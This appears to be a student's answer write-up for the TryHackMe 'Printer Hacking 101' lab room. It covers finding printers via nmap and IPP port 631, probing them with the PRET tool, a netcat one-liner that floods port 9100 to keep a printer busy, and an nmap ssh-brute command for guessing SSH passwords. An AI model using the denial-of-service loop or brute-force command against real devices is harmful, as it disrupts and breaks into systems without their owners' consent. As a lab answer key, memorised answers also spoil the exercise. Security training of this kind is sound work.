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Printer Hacking 101

Date: 13, December, 2020

Author: Dhilip Sanjay S

Click Here to go to the TryHackMe room.

Learning Objectives

Targeting and Exploiting

  • Locating Printers
    • python pret.py
    • nmap -p 631 <IP_RANGE>
  • Exploiting
    • Three options in PRET:
      • PS (PostScript)
      • PJL (Printer Job Language)
      • PCL (Printer Command Language)
    • Try out all the three languages, to check if the language will be understood by the printer 
      python pret.py laserjet.lan ps
python pret.py {IP} pjl
python pret.py /dev/usb/lp0 pcl
    • Once you get a shell-like output, type help to see the different commands available.

Solutions

What port does IPP run on?

  • Answer: 631
  • Impact
    • An open IPP port can expose a lot of sensitive information such as printer name, location, model, firmware version, or even printer wifi SSID.

How would a simple printer TCP DoS attack look as a one-line command?

  • Answer: while true; do nc printer 9100; done
  • Explanation:
    • Replace printer with <PRINTER_IP>
    • Since it is an infinite loop, the printer will remain busy.

Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?

  • Answer: Buffer Overflow

Brute forcing SSH password

  • Null Byte Article

  • Use any of the following

    1. Metasploit
    2. Hydra
    3. Nmap

  • Using nmap:

    • nmap <MACHINE_IP> -p 22 --script ssh-brute --script-arg userdb=user.txt
    • Since we know the username, user.txt must contain only printer

Connect to the printer per the instructions above. Where's the Fox_Printer located?

  • Answer: Skidy's basement
  • Steps to Reproduce: Visit http://<MACHINE_IP>:631/printers/

Image

What is the size of a test sheet?

  • Answer: 1k
  • Steps to Reproduce:
    • Visit http://<MACHINE_IP>:631/printers/Fox_Printer
    • Select Print Test Page option from the Drop-down box.
    • The jobs will be listed at the bottom of the page.
    • Check the size column in that table.

Image